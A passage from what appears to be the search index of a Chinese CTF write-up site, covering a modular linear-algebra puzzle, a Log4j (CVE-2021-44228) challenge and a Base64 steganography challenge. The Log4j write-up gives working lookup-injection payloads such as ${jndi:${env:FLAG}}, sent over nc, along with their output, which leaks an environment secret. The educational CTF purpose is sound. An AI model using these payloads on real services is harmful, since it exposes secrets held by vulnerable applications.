Flag \u00b6 UACTF{Y_Z*MB!E} \u53c2\u8003\u8d44\u6599 \u00b6 Base class for matrices, part 2 \u2014 Matrices and Spaces of Matrices","title":"Lighthouse"},{"location":"misc/lighthouse/#_1","text":"Hey, could you help us? It's dark in here. The flag is of the form UACTF{the minimum amount of turns required per dial for the check to be successful.} There is a custom character encoding to convert the number of turns for each dial to the character representation. 0 -> A 1 -> B 2 -> C 3 -> D 4 -> E 5 -> F 6 -> G 7 -> H 8 -> I 9 -> J 10 -> K 11 -> L 12 -> M 13 -> N 14 -> O 15 -> P 16 -> Q 17 -> R 18 -> S 19 -> T 20 -> U 21 -> V 22 -> W 23 -> X 24 -> Y 25 -> Z 26 -> _ 27 -> ! 28 -> * For example: 0 Turns to dial 1 13 Turns to Dial 2 etc... UACTF{0 13 10 11 8 3 4 9} UACTF{ANKLIDEJ} lighthouse.zip","title":"\u9898\u76ee"},{"location":"misc/lighthouse/#_2","text":"index.html \u6709 \\(8\\) \u4e2a\u8f6c\u76d8\uff0c\u70b9\u51fb\u4efb\u610f\u8f6c\u76d8\u4f1a\u6539\u53d8\u6240\u6709\u8f6c\u76d8\u6307\u5411\u7684\u6570\u5b57\uff0c\u6c42\u6ee1\u8db3\u8981\u6c42\u6bcf\u4e2a\u8f6c\u76d8\u6700\u5c11\u70b9\u51fb\u7684\u6b21\u6570 setup.js \u6307\u51fa\u6bcf\u4e2a\u8f6c\u76d8\u4e3a\u901a\u8fc7\u68c0\u67e5\u5e94\u6307\u5411\u7684\u6570\u5b57\u4e3a 8, 11, 22, 4, 14, 26, 3, 21 \uff0c ki.js \u5206\u522b\u5bf9\u5e94\u6bcf\u4e2a\u8f6c\u76d8\u70b9\u51fb\u540e\u5bf9\u81ea\u5df1\u53ca\u5176\u5b83\u8f6c\u76d8\u7684\u5f71\u54cd\uff0c\u5176\u4e2d k2.js \u7ed9\u51fa\u4e86\u6bcf\u4e2a\u8f6c\u76d8\u521d\u59cb\u6307\u5411\u7684\u6570\u5b57 \u7c7b\u4f3c \u706f\uff0c\u7b49\u706f\u7b49\u706f - Level 0 \uff0c\u89e3\u4e00\u4e2a\u6a21 \\(29\\) \u7684\u7ebf\u6027\u65b9\u7a0b\u7ec4 \u77e9\u9635\u4e58\u6cd5\u7684\u7ed3\u679c\u77e9\u9635\u7b2c \\(i\\) \u884c\u7b2c \\(j\\) \u5217\u5143\u7d20\u7b49\u4e8e\u524d\u4e00\u4e2a\u77e9\u9635\u7b2c \\(i\\) \u884c\u5143\u7d20\u548c\u540e\u4e00\u77e9\u9635\u7b2c \\(j\\) \u5217\u76f8\u5e94\u5143\u7d20\u4e58\u79ef\u7684\u548c\uff0c\u56e0\u800c\u77e9\u9635\u4e58\u6cd5\u7684\u524d\u540e\u987a\u5e8f\u5f88\u91cd\u8981 import numpy as np N , F = 8 , Zmod ( 29 ) k = [ [ 1 , 6 , 28 , 40 , 16 , 42 , 46 , 37 ], [ 46 , 1 , 14 , 25 , 44 , 17 , 27 , 27 ], [ 48 , 30 , 1 , 47 , 46 , 27 , 20 , 25 ], [ 40 , 11 , 16 , 1 , 50 , 12 , 27 , 26 ], [ 48 , 49 , 26 , 16 , 1 , 6 , 16 , 2 ], [ 11 , 9 , 13 , 3 , 11 , 1 , 10 , 35 ], [ 19 , 34 , 23 , 10 , 31 , 27 , 1 , 32 ], [ 12 , 10 , 36 , 6 , 19 , 24 , 8 , 1 ] ] init = [ 18 , 12 , 4 , 8 , 17 , 2 , 15 , 8 ] target = [ 8 , 11 , 22 , 4 , 14 , 26 , 3 , 21 ] L = Matrix ( F , N , N ) for i in range ( N ): for j in range ( N ): L [ i , j ] = k [ i ][ j ] d = [ chr ( ord ( 'A' ) + i ) for i in range ( 26 )] d . extend ([ '_' , '!' , '*' ]) # use A.solve_left(Y) to solve for X in XA = Y for i in L . solve_left ( vector ( F , np . subtract ( target , init ))): print ( d [ i ], end = '' ) \u4e5f\u53ef\u4ee5\u4f7f\u7528 Modular Arithmetic Solver - Congruence Calculator - Online \u6765\u89e3 =\u03c9=","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/lighthouse/#flag","text":"UACTF{Y_Z*MB!E}","title":"Flag"},{"location":"misc/lighthouse/#_3","text":"Base class for matrices, part 2 \u2014 Matrices and Spaces of Matrices","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/log4_sanity_check/","text":"\u9898\u76ee \u00b6 ALARM ALARM nc 65.108.176.77 1337 \u89e3\u9898\u601d\u8def \u00b6 \u6070\u9022\u8fd1\u671f\u5728\u4fee\u8865 Log4j \u76f8\u5173\u7684\u6f0f\u6d1e\uff08CVE-2021-44228\uff09 \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) Log4j \u9664\u4e86\u80fd\u591f\u8bb0\u5f55\u6587\u672c\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528\u7b80\u5355\u8868\u8fbe\u5f0f\u8bb0\u5f55\u52a8\u6001\u5185\u5bb9\uff0c Log4j \u2013 Log4j 2 Lookups \u4f7f\u7528 Java Decompiler \u67e5\u770b Vuln.class \u4ee3\u7801\u3002\u6ce8\u610f\u5230\u5f53\u8f93\u5165\u4e0d\u5305\u542b dragon \u6216 hxp \u65f6\uff0c\u4f1a\u4f7f\u7528\u5230 logger \uff0c\u4e3a\u6f0f\u6d1e\u70b9 \u53ea\u6709\u6267\u884c\u5f02\u5e38\u65f6\u624d\u4f1a\u89e6\u53d1 System.err.println(exception) \uff0c\u770b\u5230 Lookups \u89e3\u6790\u540e\u7684\u7ed3\u679c import java.util.Scanner ; import org.apache.logging.log4j.LogManager ; import org.apache.logging.log4j.Logger ; public class Vuln { public static void main ( String [] paramArrayOfString ) { try { Logger logger = LogManager . getLogger ( Vuln . class ); System . out . println ( \"What is your favourite CTF?\" ); String str = ( new Scanner ( System . in )). next (); if ( str . toLowerCase (). contains ( \"dragon\" )) { System . out . println ( \"<3\" ); System . exit ( 0 ); } if ( str . toLowerCase (). contains ( \"hxp\" )) { System . out . println ( \":)\" ); } else { System . out . println ( \":(\" ); logger . error ( \"Wrong answer: {}\" , str ); } } catch ( Exception exception ) { System . err . println ( exception ); } } } \u90a3\u4e48 Flag \u5728\u54ea\u91cc\u5462\uff1f\u770b\u770b Dockerfile \uff0c\u53d1\u73b0 Flag \u5df2\u7ecf\u5199\u5230\u73af\u5883\u53d8\u91cf\u91cc\u4e86\uff01 CMD ynetd -np y -lm -1 -lpid 64 -lt 10 -t 30 \"FLAG=' $( cat /flag.txt ) ' /home/ctf/run.sh\" \u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u5f88\u7b80\u5355\u4e86~ \u9996\u5148\uff0c\u9700\u8981\u4f7f\u7528 Environment Lookup \u53d6\u5f97\u73af\u5883\u53d8\u91cf\u4e2d\u7684 Flag\uff1a ${env:FLAG} \u4e3a\u4e86\u89e6\u53d1\u5f02\u5e38\uff0c\u518d\u628a Environment Lookup \u5d4c\u5957\u5230\u5176\u5b83\u67e5\u627e\u5931\u8d25\u4f1a\u89e6\u53d1\u5f02\u5e38\u7684 Lookups\uff0c\u5982 java \u3001 jndi $ nc 65 .108.176.77 1337 What is your favourite CTF? ${ jndi : ${ env : FLAG }} : ( 2021 -12-20 03 :18:44,730 main WARN Error looking up JNDI resource [ hxp { Phew, I am glad I code everything in PHP anyhow : ) - : ( : ( : (}] . javax.naming.NoInitialContextException: Need to specify class name in environment or system property, or in an application resource file: java.naming.factory.initial ... $ nc 65 .108.176.77 1337 What is your favourite CTF? ${ java : ${ env : FLAG }} : ( 2021 -12-20 08 :10:40,151 main ERROR An exception occurred processing Appender Console java.lang.IllegalArgumentException: hxp { Phew, I am glad I code everything in PHP anyhow : ) - : ( : ( : (} ...","title":"Log 4 sanity check"},{"location":"misc/log4_sanity_check/#_1","text":"ALARM ALARM nc 65.108.176.77 1337","title":"\u9898\u76ee"},{"location":"misc/log4_sanity_check/#_2","text":"\u6070\u9022\u8fd1\u671f\u5728\u4fee\u8865 Log4j \u76f8\u5173\u7684\u6f0f\u6d1e\uff08CVE-2021-44228\uff09 \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) Log4j \u9664\u4e86\u80fd\u591f\u8bb0\u5f55\u6587\u672c\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528\u7b80\u5355\u8868\u8fbe\u5f0f\u8bb0\u5f55\u52a8\u6001\u5185\u5bb9\uff0c Log4j \u2013 Log4j 2 Lookups \u4f7f\u7528 Java Decompiler \u67e5\u770b Vuln.class \u4ee3\u7801\u3002\u6ce8\u610f\u5230\u5f53\u8f93\u5165\u4e0d\u5305\u542b dragon \u6216 hxp \u65f6\uff0c\u4f1a\u4f7f\u7528\u5230 logger \uff0c\u4e3a\u6f0f\u6d1e\u70b9 \u53ea\u6709\u6267\u884c\u5f02\u5e38\u65f6\u624d\u4f1a\u89e6\u53d1 System.err.println(exception) \uff0c\u770b\u5230 Lookups \u89e3\u6790\u540e\u7684\u7ed3\u679c import java.util.Scanner ; import org.apache.logging.log4j.LogManager ; import org.apache.logging.log4j.Logger ; public class Vuln { public static void main ( String [] paramArrayOfString ) { try { Logger logger = LogManager . getLogger ( Vuln . class ); System . out . println ( \"What is your favourite CTF?\" ); String str = ( new Scanner ( System . in )). next (); if ( str . toLowerCase (). contains ( \"dragon\" )) { System . out . println ( \"<3\" ); System . exit ( 0 ); } if ( str . toLowerCase (). contains ( \"hxp\" )) { System . out . println ( \":)\" ); } else { System . out . println ( \":(\" ); logger . error ( \"Wrong answer: {}\" , str ); } } catch ( Exception exception ) { System . err . println ( exception ); } } } \u90a3\u4e48 Flag \u5728\u54ea\u91cc\u5462\uff1f\u770b\u770b Dockerfile \uff0c\u53d1\u73b0 Flag \u5df2\u7ecf\u5199\u5230\u73af\u5883\u53d8\u91cf\u91cc\u4e86\uff01 CMD ynetd -np y -lm -1 -lpid 64 -lt 10 -t 30 \"FLAG=' $( cat /flag.txt ) ' /home/ctf/run.sh\" \u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u5f88\u7b80\u5355\u4e86~ \u9996\u5148\uff0c\u9700\u8981\u4f7f\u7528 Environment Lookup \u53d6\u5f97\u73af\u5883\u53d8\u91cf\u4e2d\u7684 Flag\uff1a ${env:FLAG} \u4e3a\u4e86\u89e6\u53d1\u5f02\u5e38\uff0c\u518d\u628a Environment Lookup \u5d4c\u5957\u5230\u5176\u5b83\u67e5\u627e\u5931\u8d25\u4f1a\u89e6\u53d1\u5f02\u5e38\u7684 Lookups\uff0c\u5982 java \u3001 jndi $ nc 65 .108.176.77 1337 What is your favourite CTF? ${ jndi : ${ env : FLAG }} : ( 2021 -12-20 03 :18:44,730 main WARN Error looking up JNDI resource [ hxp { Phew, I am glad I code everything in PHP anyhow : ) - : ( : ( : (}] . javax.naming.NoInitialContextException: Need to specify class name in environment or system property, or in an application resource file: java.naming.factory.initial ... $ nc 65 .108.176.77 1337 What is your favourite CTF? ${ java : ${ env : FLAG }} : ( 2021 -12-20 08 :10:40,151 main ERROR An exception occurred processing Appender Console java.lang.IllegalArgumentException: hxp { Phew, I am glad I code everything in PHP anyhow : ) - : ( : ( : (} ...","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/newsctf_all_reverse/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u4e0b\u8f7d piz.galf \uff0c\u89e3\u538b\u540e\u91cc\u9762\u662f flag1.pcapng \uff08\u55ef\uff0c\u770b\u6765\u9664\u4e86\u6587\u4ef6\u540d\u662f\u53cd\u8fc7\u6765\u7684\u4ee5\u5916\u597d\u50cf\u8fd8\u633a\u6b63\u5e38\u7684\u2026\uff09 \u67e5\u770b\u6d41\u91cf\u5305\uff0c\u53d1\u73b0\u51e0\u4e2a\u53ef\u7591\u7684 HTTP \u6d41\u91cf\uff0c\u83b7\u53d6 piz \uff08\u5373 ZIP\uff09\u6587\u4ef6 \u5bfc\u51fa piz HTTP \u5bf9\u8c61\uff0c\u5171\u4e09\u4e2a\uff0c\u5176\u4e2d\u6709\u4e00\u4e2a HTML \u6587\u4ef6\uff08\u7f51\u9875\u4e2d\u5305\u542b\u63d0\u793a\u4fe1\u606f\uff1aYou don't have the permission to access the requested resource. It is either read-protected or not readable by the server.\uff09\uff0c\u53e6\u5916\u4e24\u4e2a\u6587\u4ef6\u7c7b\u578b\u4e0d\u660e\u4f46\u5185\u5bb9\u4e00\u81f4 \u4f7f\u7528 010 Editor \u67e5\u770b\u7c7b\u578b\u4e0d\u660e\u7684\u6587\u4ef6\uff0c\u53d1\u73b0\u662f\u6309\u5b57\u8282\u9006\u5e8f\u7684 RAR \u6587\u4ef6 \u6309\u5b57\u8282\u9006\u5e8f\u540e\u83b7\u5f97\u4e00\u4e2a\u52a0\u5bc6\u7684 RAR \u6587\u4ef6\uff0c\u5176\u4e2d\u5305\u542b\u4e00\u4e2a flag.txt \u6587\u4ef6 \u518d\u56de\u5230\u6d41\u91cf\u5305\uff0c\u5927\u91cf\u7684 POST \u8bf7\u6c42\u975e\u5e38\u53ef\u7591\uff0c\u67e5\u770b\u4efb\u610f\u4e00\u4e2a POST \u8bf7\u6c42\uff0c\u5176\u4e2d\u5305\u542b\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u8868\u5355\u6570\u636e\uff0c\u63a8\u6d4b\u4e0e\u538b\u7f29\u5305\u5bc6\u7801\u6709\u5173 \u6ce8\u610f\u5230\u6709\u4e00\u4e2a /logout \u8bf7\u6c42\uff0c\u8bf4\u660e\u5728\u6b64\u4e4b\u524d\u4e00\u5b9a\u6709\u4e00\u6b21\u6210\u529f\u7684\u767b\u5165\uff0c\u7f29\u5c0f\u68c0\u7d22\u8303\u56f4 \u5982\u679c\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\uff0c\u5c06\u8fd4\u56de 403 FORBIDDEN \uff0c\u4ee5\u6b64\u4e3a\u4f9d\u636e\u67e5\u627e\u6b63\u786e\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u6700\u7ec8\u83b7\u5f97\u6b63\u786e\u7528\u6237\u540d test123 \u548c\u5bc6\u7801 passwd123 \u4f7f\u7528 passwd123 \u53ef\u89e3\u538b\u52a0\u5bc6\u7684 RAR \u6587\u4ef6\u5e76\u83b7\u5f97 flag.txt \uff0c\u5185\u5bb9\u663e\u7136\u662f\u7ecf\u8fc7 Base64 \u7f16\u7801\u540e\u5012\u5e8f\u7684\u6587\u672c # \u5185\u5bb9\u8282\u9009 ... == cnAKuLm9GIr5WaoRHIvRHI5RXdhVmYgg2Y11GIuVGdm9GI09mbgMXYoBibh12b3BSYgwyclNXYjBCajV3cg4WScCo4 lhGIuVGa3BSelx2ZulmQg4icNBSZlNHIk5WYg82ZgQWZlRmbpBCdzVXbgU3b5BCLyFWZkBSetBCL0VnQcCo4 = 0Jgi7CZv9GayV3bih2ZpVmbgUGa0Byb05WagMXZt92Y ... \u5c06\u6587\u672c\u5404\u884c\u6309\u5b57\u7b26\u9006\u5e8f\u518d Base64 \u89e3\u7801\uff0c\u53ef\u83b7\u5f97\u300a\u50b2\u6162\u4e0e\u504f\u89c1\u300b\u4e00\u5927\u6bb5\u8282\u9009\uff0c\u6ca1\u6709\u76f4\u63a5\u7684 Flag \u4fe1\u606f\uff0c\u53ea\u6709\u4e00\u4e9b\u4e0e\u539f\u6587\u6709\u5dee\u5f02\u7684\u5b57\u7b26\u4ee5\u53ca\u770b\u7740\u50cf\u89e3\u7801\u5931\u8d25\u7684\u5b57\u7b26 (\u014f\u03c9\u014f) \u6709\u70b9\u5947\u602a\uff0c\u96be\u9053 Flag \u662f\u7531\u4e0e\u539f\u6587\u6709\u5dee\u5f02\u7684\u5b57\u7b26\u7ec4\u6210\u7684\u4e48\uff1f\u3010\u53ef\u80fd\u6027\u4e0d\u5927\u2026 # \u89e3\u7801\u6587\u672c\u8282\u9009 ... \u00e2\u0080\u009cMy dear Mr. Zennet,\u00e2\u0080\u009d said his lady to him one day, \u00e2\u0080\u009chave you hearg that Netherfield \\a rk is let at last?\u00e2\u0080\u009d Mr. Bennet replied that he had not. \u00e2\u0080\u009cBut it is,\u00e2\u0080\u009d returned she ; \u00e2\u0080\u009cfor Mrs. Long has just been here, and she told me all about it.\u00e2\u0080\u009d ... \u5176\u5b9e\u662f Base64 \u9690\u5199 XD \u63d0\u53d6\u7684\u5185\u5bb9\u4e3a\uff1a flag{md5(0)} \u8ba1\u7b97 0 \u7684 MD5 \u54c8\u5e0c\u503c\u5373\u53ef\u83b7\u5f97 Flag Base64 \u9690\u5199 \u00b6 Base64 \u7f16\u7801\u5373\u5c06\u6587\u672c\u5b57\u7b26\u5bf9\u5e94\u6210\u4e8c\u8fdb\u5236\u540e\uff0c\u518d\u6bcf 6 \u4e2a\u6bd4\u7279\u4e3a\u4e00\u7ec4\u8f6c\u6362\u4e3a\u53ef\u6253\u5370\u5b57\u7b26\u3002\u82e5\u7f16\u7801\u7684\u5b57\u8282\u6570\u4e0d\u662f 3 \u7684\u500d\u6570\uff0c\u5219\u5148\u4f7f\u7528 0 \u5b57\u8282\u5728\u672b\u5c3e\u8865\u8db3\uff0c\u518d\u8fdb\u884c\u7f16\u7801\uff0c\u5e76\u5728\u7f16\u7801\u7684\u6587\u672c\u540e\u6dfb\u52a0\u4e00\u4e2a\uff08\u5f85\u7f16\u7801\u5b57\u8282\u6570\u6a21 3 \u4f59 2\uff09\u6216\u4e24\u4e2a\uff08\u5f85\u7f16\u7801\u5b57\u8282\u6570\u6a21 3 \u4f59 1\uff09\u7b49\u53f7 .tg {border-collapse:collapse;border-spacing:0;} .tg td th{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;font-weight:normal; overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-lboi{border-color:inherit;text-align:left;vertical-align:middle} .tg .tg-kaq8{border-color:inherit;color:#fe0000;font-weight:bold;text-align:left;} .tg .tg-uzvj{border-color:inherit;font-weight:bold;text-align:center;} .tg .tg-fymr{border-color:inherit;font-weight:bold;text-align:left;} \u6587\u672c\uff081 Byte\uff09 A \u4e8c\u8fdb\u5236\u4f4d 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \u4e8c\u8fdb\u5236\u4f4d\uff08\u88650\uff09 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Base64\u7f16\u7801 Q Q = = \u6587\u672c\uff082 Byte\uff09 B C \u4e8c\u8fdb\u5236\u4f4d 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 \u4e8c\u8fdb\u5236\u4f4d\uff08\u88650\uff09 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 Base64\u7f16\u7801 Q k M = Base64 \u89e3\u7801\u5219\u9996\u5148\u4e22\u5f03\u586b\u5145\u7684\u7b49\u53f7\uff0c\u800c\u540e\u5c06\u7f16\u7801\u5b57\u7b26\u5bf9\u5e94\u7684\u4e8c\u8fdb\u5236\u6570\u6bcf 8 \u4e2a\u4e00\u7ec4\u8f6c\u5316\u4e3a ASCII \u7801\uff0c\u76f4\u5230\u5269\u4f59\u7684\u4e8c\u8fdb\u5236\u6570\u4e0d\u8db3 8 \u4f4d\u3002\u4e0a\u8868\u6807 \u7ea2 \u7684\u4e8c\u8fdb\u5236\u4f4d\u4e0d\u4f1a\u5f71\u54cd\u89e3\u7801\uff0c\u53ef\u7528\u4e8e\u9690\u5199 extract.py #!/usr/bin/env python3 path = './stego.txt' b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open ( path , 'r' ) as f : cipher = [ i . strip () for i in f . readlines ()] bstr = '' for l in cipher : if l [ - 2 :] == '==' : bstr += bin ( b64char . index ( l [ - 3 ]))[ 2 :] . zfill ( 8 )[ - 4 :] elif l [ - 1 :] == '=' : bstr += bin ( b64char . index ( l [ - 2 ]))[ 2 :] . zfill ( 8 )[ - 2 :] print ( '' . join ([ chr ( int ( bstr [ i : i + 8 ], 2 )) for i in range ( 0 , len ( bstr ), 8 )]))","title":"NEWSCTF - \uff01\u4e86\u53cd\u90fd\uff0c\u4e86\u53cd"},{"location":"misc/newsctf_all_reverse/#_1","text":"\u4e0b\u8f7d piz.galf \uff0c\u89e3\u538b\u540e\u91cc\u9762\u662f flag1.pcapng \uff08\u55ef\uff0c\u770b\u6765\u9664\u4e86\u6587\u4ef6\u540d\u662f\u53cd\u8fc7\u6765\u7684\u4ee5\u5916\u597d\u50cf\u8fd8\u633a\u6b63\u5e38\u7684\u2026\uff09 \u67e5\u770b\u6d41\u91cf\u5305\uff0c\u53d1\u73b0\u51e0\u4e2a\u53ef\u7591\u7684 HTTP \u6d41\u91cf\uff0c\u83b7\u53d6 piz \uff08\u5373 ZIP\uff09\u6587\u4ef6 \u5bfc\u51fa piz HTTP \u5bf9\u8c61\uff0c\u5171\u4e09\u4e2a\uff0c\u5176\u4e2d\u6709\u4e00\u4e2a HTML \u6587\u4ef6\uff08\u7f51\u9875\u4e2d\u5305\u542b\u63d0\u793a\u4fe1\u606f\uff1aYou don't have the permission to access the requested resource. It is either read-protected or not readable by the server.\uff09\uff0c\u53e6\u5916\u4e24\u4e2a\u6587\u4ef6\u7c7b\u578b\u4e0d\u660e\u4f46\u5185\u5bb9\u4e00\u81f4 \u4f7f\u7528 010 Editor \u67e5\u770b\u7c7b\u578b\u4e0d\u660e\u7684\u6587\u4ef6\uff0c\u53d1\u73b0\u662f\u6309\u5b57\u8282\u9006\u5e8f\u7684 RAR \u6587\u4ef6 \u6309\u5b57\u8282\u9006\u5e8f\u540e\u83b7\u5f97\u4e00\u4e2a\u52a0\u5bc6\u7684 RAR \u6587\u4ef6\uff0c\u5176\u4e2d\u5305\u542b\u4e00\u4e2a flag.txt \u6587\u4ef6 \u518d\u56de\u5230\u6d41\u91cf\u5305\uff0c\u5927\u91cf\u7684 POST \u8bf7\u6c42\u975e\u5e38\u53ef\u7591\uff0c\u67e5\u770b\u4efb\u610f\u4e00\u4e2a POST \u8bf7\u6c42\uff0c\u5176\u4e2d\u5305\u542b\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u8868\u5355\u6570\u636e\uff0c\u63a8\u6d4b\u4e0e\u538b\u7f29\u5305\u5bc6\u7801\u6709\u5173 \u6ce8\u610f\u5230\u6709\u4e00\u4e2a /logout \u8bf7\u6c42\uff0c\u8bf4\u660e\u5728\u6b64\u4e4b\u524d\u4e00\u5b9a\u6709\u4e00\u6b21\u6210\u529f\u7684\u767b\u5165\uff0c\u7f29\u5c0f\u68c0\u7d22\u8303\u56f4 \u5982\u679c\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\uff0c\u5c06\u8fd4\u56de 403 FORBIDDEN \uff0c\u4ee5\u6b64\u4e3a\u4f9d\u636e\u67e5\u627e\u6b63\u786e\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u6700\u7ec8\u83b7\u5f97\u6b63\u786e\u7528\u6237\u540d test123 \u548c\u5bc6\u7801 passwd123 \u4f7f\u7528 passwd123 \u53ef\u89e3\u538b\u52a0\u5bc6\u7684 RAR \u6587\u4ef6\u5e76\u83b7\u5f97 flag.txt \uff0c\u5185\u5bb9\u663e\u7136\u662f\u7ecf\u8fc7 Base64 \u7f16\u7801\u540e\u5012\u5e8f\u7684\u6587\u672c # \u5185\u5bb9\u8282\u9009 ... == cnAKuLm9GIr5WaoRHIvRHI5RXdhVmYgg2Y11GIuVGdm9GI09mbgMXYoBibh12b3BSYgwyclNXYjBCajV3cg4WScCo4 lhGIuVGa3BSelx2ZulmQg4icNBSZlNHIk5WYg82ZgQWZlRmbpBCdzVXbgU3b5BCLyFWZkBSetBCL0VnQcCo4 = 0Jgi7CZv9GayV3bih2ZpVmbgUGa0Byb05WagMXZt92Y ... \u5c06\u6587\u672c\u5404\u884c\u6309\u5b57\u7b26\u9006\u5e8f\u518d Base64 \u89e3\u7801\uff0c\u53ef\u83b7\u5f97\u300a\u50b2\u6162\u4e0e\u504f\u89c1\u300b\u4e00\u5927\u6bb5\u8282\u9009\uff0c\u6ca1\u6709\u76f4\u63a5\u7684 Flag \u4fe1\u606f\uff0c\u53ea\u6709\u4e00\u4e9b\u4e0e\u539f\u6587\u6709\u5dee\u5f02\u7684\u5b57\u7b26\u4ee5\u53ca\u770b\u7740\u50cf\u89e3\u7801\u5931\u8d25\u7684\u5b57\u7b26 (\u014f\u03c9\u014f) \u6709\u70b9\u5947\u602a\uff0c\u96be\u9053 Flag \u662f\u7531\u4e0e\u539f\u6587\u6709\u5dee\u5f02\u7684\u5b57\u7b26\u7ec4\u6210\u7684\u4e48\uff1f\u3010\u53ef\u80fd\u6027\u4e0d\u5927\u2026 # \u89e3\u7801\u6587\u672c\u8282\u9009 ... \u00e2\u0080\u009cMy dear Mr. Zennet,\u00e2\u0080\u009d said his lady to him one day, \u00e2\u0080\u009chave you hearg that Netherfield \\a rk is let at last?\u00e2\u0080\u009d Mr. Bennet replied that he had not. \u00e2\u0080\u009cBut it is,\u00e2\u0080\u009d returned she ; \u00e2\u0080\u009cfor Mrs. Long has just been here, and she told me all about it.\u00e2\u0080\u009d ... \u5176\u5b9e\u662f Base64 \u9690\u5199 XD \u63d0\u53d6\u7684\u5185\u5bb9\u4e3a\uff1a flag{md5(0)} \u8ba1\u7b97 0 \u7684 MD5 \u54c8\u5e0c\u503c\u5373\u53ef\u83b7\u5f97 Flag","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/newsctf_all_reverse/#base64","text":"Base64 \u7f16\u7801\u5373\u5c06\u6587\u672c\u5b57\u7b26\u5bf9\u5e94\u6210\u4e8c\u8fdb\u5236\u540e\uff0c\u518d\u6bcf 6 \u4e2a\u6bd4\u7279\u4e3a\u4e00\u7ec4\u8f6c\u6362\u4e3a\u53ef\u6253\u5370\u5b57\u7b26\u3002\u82e5\u7f16\u7801\u7684\u5b57\u8282\u6570\u4e0d\u662f 3 \u7684\u500d\u6570\uff0c\u5219\u5148\u4f7f\u7528 0 \u5b57\u8282\u5728\u672b\u5c3e\u8865\u8db3\uff0c\u518d\u8fdb\u884c\u7f16\u7801\uff0c\u5e76\u5728\u7f16\u7801\u7684\u6587\u672c\u540e\u6dfb\u52a0\u4e00\u4e2a\uff08\u5f85\u7f16\u7801\u5b57\u8282\u6570\u6a21 3 \u4f59 2\uff09\u6216\u4e24\u4e2a\uff08\u5f85\u7f16\u7801\u5b57\u8282\u6570\u6a21 3 \u4f59 1\uff09\u7b49\u53f7 .tg {border-collapse:collapse;border-spacing:0;} .tg td th{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;font-weight:normal; overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-lboi{border-color:inherit;text-align:left;vertical-align:middle} .tg .tg-kaq8{border-color:inherit;color:#fe0000;font-weight:bold;text-align:left;} .tg .tg-uzvj{border-color:inherit;font-weight:bold;text-align:center;} .tg .tg-fymr{border-color:inherit;font-weight:bold;text-align:left;} \u6587\u672c\uff081 Byte\uff09 A \u4e8c\u8fdb\u5236\u4f4d 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \u4e8c\u8fdb\u5236\u4f4d\uff08\u88650\uff09 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Base64\u7f16\u7801 Q Q = = \u6587\u672c\uff082 Byte\uff09 B C \u4e8c\u8fdb\u5236\u4f4d 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 \u4e8c\u8fdb\u5236\u4f4d\uff08\u88650\uff09 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 Base64\u7f16\u7801 Q k M = Base64 \u89e3\u7801\u5219\u9996\u5148\u4e22\u5f03\u586b\u5145\u7684\u7b49\u53f7\uff0c\u800c\u540e\u5c06\u7f16\u7801\u5b57\u7b26\u5bf9\u5e94\u7684\u4e8c\u8fdb\u5236\u6570\u6bcf 8 \u4e2a\u4e00\u7ec4\u8f6c\u5316\u4e3a ASCII \u7801\uff0c\u76f4\u5230\u5269\u4f59\u7684\u4e8c\u8fdb\u5236\u6570\u4e0d\u8db3 8 \u4f4d\u3002\u4e0a\u8868\u6807 \u7ea2 \u7684\u4e8c\u8fdb\u5236\u4f4d\u4e0d\u4f1a\u5f71\u54cd\u89e3\u7801\uff0c\u53ef\u7528\u4e8e\u9690\u5199 extract.py #!/usr/bin/env python3 path = './stego.txt' b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open ( path , 'r' ) as f : cipher = [ i . strip () for i in f . readlines ()] bstr = '' for l in cipher : if l [ - 2 :] == '==' : bstr += bin ( b64char . index ( l [ - 3 ]))[ 2 :] . zfill ( 8 )[ - 4 :] elif l [ - 1 :] == '=' : bstr += bin ( b64char . index ( l [ - 2 ]))[ 2 :] . zfill ( 8 )[ - 2 :] print ( '' . join ([ chr ( int ( bstr [ i : i + 8 ], 2 )) for i in range ( 0 , len ( bstr ), 8 )]))","title":"Base64 \u9690\u5199"},{"location":"misc/p_q/","text":"\u9898\u76ee \u00b6 \u5b66\u4f1a\u5085\u91cc\u53f6\u7684\u4e00\u77ac\u95f4\uff0c\u6094\u6068\u7684\u6cea\u6c34\u6d41\u4e86\u4e0b\u6765\u3002 